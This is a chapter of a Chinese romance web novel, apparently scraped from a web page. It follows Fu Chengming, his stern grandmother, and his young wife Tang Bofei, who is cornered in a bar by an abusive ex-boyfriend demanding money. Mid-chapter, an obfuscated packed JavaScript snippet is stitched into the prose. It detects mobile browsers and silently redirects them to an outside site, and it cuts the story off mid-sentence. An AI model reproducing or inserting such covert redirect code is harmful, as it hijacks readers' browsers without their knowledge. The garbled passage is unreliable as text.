林婉珍年轻时不这样。
她曾承认过，从前自己性格内敛含蓄，做事规矩，讲话也很小声。邻居家也说，你奶奶那会儿特别温婉，要不名字里有个婉呢。
一切的变故，大约在傅立华去世，紧接着，儿子车祸与她天人两隔。她经历了人世间最难以承受的打击，爱人离去、白发人送黑发人。加之做老师管教学生几十年，骨子里的东西慢慢病变了，变成执拗又严苛的模样，对他人自成一套评判体系，体系内正是存于前几十年的刻板和封建。
傅程铭能懂她的苦衷。
遇到此类情况，不会去辩驳。
他只是伸手拦住老太太肩膀，把人往回带，小声道：“您不是要买件儿裙子，往前走就是一家。”
“少打岔，”林婉珍僵在原地不动，“把她叫过来，还要我再说一次？”
傅程铭看着她，轻笑着摇头，话语间没一点晚辈姿态，“不行。”
林婉珍被他气到了，挣开肩上的手，“你自己娶的老婆，丢人丢到外头了，上次是谭太太他们，这回又是我的学生，一次比一次过分，一次比一次没教养，她是觉着咱们家脸皮太厚？还是怕这圈子里的人不笑她？你也一样，和她一块儿气我。反正再熬几年我死了，你们谁也不用嫌我烦，指不定在我坟前骂一句尖酸刻薄。”
“您不要这么想，”他搬出套话，“我看那情形，应该是她占理。”
林婉珍斜了他一眼。
傅程铭继续，“遇上碰瓷的，把那人当场拆穿了。”
“正常人第一反应是报警，而不是当众扒别人裤子，而且还是陌生男人的裤子。”
“这些事儿太琐碎，不是您该操心的，注意身体，”他眼神看向站在几步远的一行人，“奶奶有点儿累，附近有什么餐厅，带她进去先坐。”
“傅先生不吃饭了？”
“你们先。”他礼节性颔首。
其中一位连忙说好，叫上其他人，前后将林婉珍簇拥起来，哄着她向前一步步的挪，跟请娘娘回宫没什么差别。
余下他一人。
拿出手机，看着对面手舞足蹈的唐小姐，拨下电话。
话筒里声音嘟嘟响，依然是盖不住唐柏菲的喊声，她声音细，仔细听还有些娇气，又喜欢在理论时抬高嗓门儿，掩不住些许匪气，所以最有辨识度。
傅程铭微眯眼，看她。
马路那边，唐小姐停止骂战，把手里那条男士牛仔裤往边儿一扔，对着包一阵翻找，掏出手机。
奶茶店底下。
男人抱着裤子落荒而逃，道具轮椅也不管了。
唐柏菲捧着手机，看屏幕里那一串长备注，不解地看毛晚栗，“他怎么会突然给我打电话。”
“你们家老男人吗？喊你回家吃饭？”毛晚栗搂着她，“接起来看看喽。”
她按下通话键，将手机举在耳边。
傅程铭看着那张风中凌乱的脸，问出口：“你现在在哪里。”
对面人说：“我在...随便一家饭店吃饭。”
“是吗。”
“骗你干什么。”
“没有和其他人起冲突吧。”
她迟迟回复一句，讲得毫无底气，“没有。”
傅程铭点点头，在这些谎言中慢慢浮现淡淡的笑，“那就好。有什么需要帮忙的尽管说，我刚好在附近，大概很快能过去。”
“啊？”
唐柏菲心跳渐渐加快，整个人无头苍蝇似的，一顿乱找。
前后左右，仍旧没找出他的人。
北京人真多。
摩肩接踵，人头攒动。
三里屯这么土的名字，竟然有这么多人来。
他静静看着她找，话筒里她还在说：“你看见我了？”
“没有。你吃饭吧，就这样。”
傅程铭单方面结束了和女孩子的对话，但出于礼貌，他会静静等着对方挂断。
就在唐小姐从狐疑、到挂电话的这几秒，傅程铭隔着马路看她。
像大部分文艺电影一样。
左右两面是繁华街道，其中间隔着车辆不断的单行道。
每辆车在镜头下被抽帧，变得模糊，过路行人也被调出虚影，像是慢动作，而对面女孩子的身影，在虚虚实实间变得鲜明无比。
傅程铭忽然想起有句话这么讲，家具装潢，大概能折射出你的性格底色。
他的底色是灰，鉴于黑白之间，和四九城平平稳稳的院落十分雷同，灰色砖瓦、左右对称横平竖直的风格。多年后，他分析着，那么他人生里第一次接触色彩，大概就是某位女孩子搬进去的第一天。
那天，阳光盛。
照化了堆积在角落里许久不化的雪。
电话挂断。
傅程铭转身而去。
-
未来多日，因着这通电话的缘故，让唐小姐对他多了些观察。
同在屋檐下，想不注意都难。
她熬夜到早晨六点，从窗帘缝隙里看见他从屋里出去，穿着长袖长裤的运动衣，手里拿一瓶矿泉水。约莫一小时后，人又进去，半个钟头再出时，已经是西装革履的模样了，走路是姿态挺拔，如傲立蔚然的刚竹。
作为看客的她，通常会悄悄趴在窗边，默默念叨，起这么早不会晕到地上吗？
看得久了又会自责。
天呐，我像个偷窥狂。
这些天傅程铭事情多，并没注意家里多了双眼睛在看。
他得空，拜访唐永清，送了老朋友几瓶好酒；唐永清爱喝酒，爱抽烟，这两样都是他不碰的。
唐永清对他讲，你们夫妻不合的消息，已经慢慢传开了。老头子正准备睡下装病，吓唬自家姑娘，以此要挟她别离婚。
傅程铭抿出一抹意义不明的笑，坐在他床前，“唐永清，你还是和以前一样。”
“什么样。”
“独断专行。”
唐永清眼神飘忽，“不可能。”
他笃定，“你从前是，现在更是。”
一躺一坐的两个人，谈话语气丝毫不像女婿和老丈人。
他老成，唐永清越来越孩子气，很好地弥补了年龄问题。
“我不管着她，尾巴能翘天上去，看她前年找的那个小白脸，什么混蛋。”唐永清又说起，“她上学的时候就被一批一批的混蛋追，有大混蛋有小混蛋，跟苍蝇蚊子一样，我一点也不放心。”
如果真是苍蝇蚊子，那唐永清把电蚊拍甩漏电了也没用。
傅程铭不表言论，只是问，“我你就放心？”
“我要对你不放心，那不就否定我自己的人品了？”
他平静回：“怎么个说法儿。”
“人以类聚物以群分，我不放心你也相当于我是个混蛋。”
“我唐永清怎么可能是混蛋。”
傅程铭冷哼，调侃他。
其实还有几重理由，唐永清想，那就是傅程铭无父无母，她女儿不必受婆媳纷争的苦，他唯一的亲人就是林婉珍，老太太虽执拗了点儿，但也八十岁了，又能折腾几年。最重要的，傅程铭没不良嗜好，不抽烟，不喝酒，不玩儿游戏，手机于他而言就是工具；他底子干净，不重欲，不会对她女儿动手动脚，更不会非要履行什么夫妻义务。
他这种人品，家世，相貌。
唐永清找不出第二个。
他老了，得为女儿考虑未来。哪怕自私，哪怕算计。
傅程铭静坐着，“她也有自己的人生，何况我比她大十二岁，这你倒不考虑了。”
“年纪小了不靠谱的。”
“你这样让我想起我妈，她就是被逼着嫁给我爸的。”
想起这个，他表情倒一如往常。
父母感情不好，每天不会多说半句话，比陌生人还尴尬，那些模糊片段里，有母亲日日以泪洗面、痛苦到割腕自杀的时刻，他们日渐敌对，只剩一纸婚约在维持着，如病入膏肓的人苟延残喘。
警/察告知家属父亲死讯时，母亲在笑，她嘴角的上扬根本无法抑制。
她宁可不要财产，快速收拾行李，隔天就离开傅家。
傅程铭依稀记着，他去抱住母亲的腿，求她别走，他不信爸爸这么轻易就死了。
母亲不顾林婉珍阻拦，粗鲁地揪起他领子走。他一路踉跄磕绊，去了火葬场外，母亲指着花圈儿和烧剩的烟，冲他神经质的笑：“这就是你爸爸呀，他会被火烧没了，化成烟，你再也找不见他了。人死了就要被烧，你也一样。”
当时他个子刚到母亲腰间，尽全力仰起脑袋看那一缕烟，缥缈的往空中漫，须臾就不见踪影了。
自那天回去后，他还连着烧了一周，最高烧到四十二度。而家中忙着料理父亲后世，下葬，出殡，包括财产分配，没人管他，他硬是靠自己命大熬到烧退。
听母亲说父亲死讯时，他还怀疑是假的。
但一群人来家里哭，他终于相信，父亲是变成那一抹烟了。
唐永清出口问，“她后来去哪了？”
“将近三十年前的事儿，我哪儿能记得清，”傅程铭说得很轻松，仿佛这事儿和他无关，“你女儿很有自己的想法，她不会接受任何安排，她现在最想做的事儿就是和我离婚。强扭的瓜不甜。”
唐永清一撇嘴，“如果哪天我死了，谁给她，”
“唐永清，”傅程铭打断他，“这一天要来了，你不用担心，我会替她兜底，她还可以像现在一样每天无忧无虑。”
这么一说，倒显得唐永清过于像封建大家长，总爱把利益和婚姻捆绑。
傅程铭坐到日上三竿，从唐家离开。
之后去办公室伏案写材料，处理事情，到晚上才彻底清闲。
落地窗外框出北京城的夜景，各处高楼林立，街道车流缓缓交汇。
他刚靠上椅背，手机就在桌面震动，拿过一看，是成姨来的电话。
傅程铭敛紧眉梢，眼底迸出诧异。
成姨从不来电，非有什么紧急事儿也是短信来往。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542787|171058||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
而今天这通打得急，看着不像拨错号。
他接起，还未来得及说话，对面急吼吼的声音就往耳朵里钻，“实在对不起傅先生，我没拦住，太太要出去打架，大晚上的她一个女孩子出门，万一出点儿什么事...”
“您慢慢说，”傅程铭直起身，一手压在桌面，“她几点走的，有没有说是去哪儿，或是找谁。”
“这我真不知道，太太跑出去的时候，好像还拿着高尔夫球杆儿。”
每次工作完，台面的灯会刻意调暗，现在倒显得他眸色沉沉。
“好，知道了，我和她联系。”
成姨还没回复，傅程铭破天荒的先一步挂断。
所谓的礼节在此刻抛诸脑后，接着又给唐柏菲打去。
第一次，没接通。
第二次、第三次，依旧没有。
啪一声，傅程铭将手机反扣住，力道大得像要把屏震碎。
他鼻息沉沉喷薄而出，平日里喜怒不显的脸上，终于露出凝重的表情。这倒是头次体会到电话里“嘟嘟”声，每一下都特别长，听久了这声儿能刻在脑子里。
此时秘书敲门。
“进。”
声色沉闷，后者被吓得不敢睁眼看他。少顷，才问：“几份儿稿子要您过目，看看用哪篇，写的和您意思有没相悖的地方，上面催得紧。”
“今天不行，”傅程铭起身，公文包也没拿，从秘书身边路过那一瞬，抛下句：“让张绍经开车。”说完，带起一阵风匆匆走了。
秘书先怔忪，再点头，连声说是。
-
五道口胡同僻静处。
一家酒吧内。
里面灯光是某种暗沉的红，核心位置有驻唱歌手，乐队里相互配合着，弹吉他，敲鼓，合奏一首猛烈的摇滚，让所有人肾上腺素直飙，散台一些男男女女或摇或跳，肢体接触，眉眼撩拨，开启北京夜晚的躁动。
离乐队最近的卡座里，唐柏菲坐着，手里握着杆面角最大、攻果岭用的沙杆。
她对面是白尽州。
左右两边是白姓男带来的兄弟。
第一位梳脏辫儿穿T恤，胶板图片是一个男人竖中指。第二位留长发，打耳洞，穿深v西装戴胸链，两个人都流里流气，像是早早出社会的人。
唐小姐不怕，迄今为止还没什么人敢让她害怕。白尽州约她来的话术就是，你不会不敢吧，不会连酒吧都没混过吧，这么一套激将法，她说来就来了。
“我不是说了吗白尽州，再纠缠我，就找人打你。你不会以为我不敢吧。”
左右两个男人噗嗤一声笑了。
白尽州特不要脸，给她倒一杯酒，往常的窝囊气烟消云散，“唐柏菲，我和你好说歹说，是你非要把事情做绝。那就别怪我不客气。”
她切一声，推倒装满伏特加的酒瓶，“我做什么了。”
“大小姐，上次你打我头起的包还没下去呢，现在还疼。都忘了？我做了你将近一年的男朋友，咱俩好的时候天天在一起，就因为几条绯闻，你他妈翻脸比翻书还快，上次我那么低三下四的求你，结果呢，光天化日在大街上打我，转头和别的男人结婚，”白尽州直勾勾盯着唐柏菲看，眼神是满满的侵略性，“诶，你俩知道我们唐小姐嫁给谁了？一个开红旗A6的装货，看着可不年轻，我们小姐有恋老癖和恋穷癖。”
“你说什么，”唐小姐不可置信，“你竟然敢骂我。”
她伸手就要打，到半空却被白尽州狠狠抓住手腕，他说：“我不仅敢骂你，还敢骂你那个老不死的爹。你们全家都翻脸不认人，要不是他，我怎么会从香港跑到大陆来求你，老东西把我在香港的财路，人脉，全断了！你们在香港一家独大，不给我留退路，我马上就饿死了，是你们逼我去死的。”
白尽州死死箍着她的手腕，力度是照着掐断去的。
唐小姐显然震惊又害怕，昔日挨她打的前男友，怎么敢这样。
手腕充血，鼓胀的痛感让她眉头紧蹙，她挣扎，却怎么也挣不脱。
“真以为我怕你呢大小姐，都是装的，我要想收拾你，能一巴掌打得你嘴角出血。你可千万别以为，这个世界上所有人都会让着你，都会怕你，都会对你毕恭毕敬，都会叫你一声唐小姐，有时候你被全家人惯坏的样子特别贱，我特别想扇死你，真的。”
白尽州忍好久了，那两个兄弟都知道。
于是接话，“阿州你试试呗。”
“唐小姐，知道你前男友练过格斗吗？没几个人能打得过他。”
尽管灯光昏沉，也掩不住唐柏菲眼里的惊惧。
她试过淡定，可在这样的白尽州面前，怎样也冷静不下来。
何况他还带了两个人。
三个男人，谁也不好惹。
她二十年来没有挫折，这场面也是长这么大头次遇到，难免被吓得不知所措。
白尽州依然没放开她的手，“你今天要想从这里出去，就打电话告诉你爸，先给我五千万。”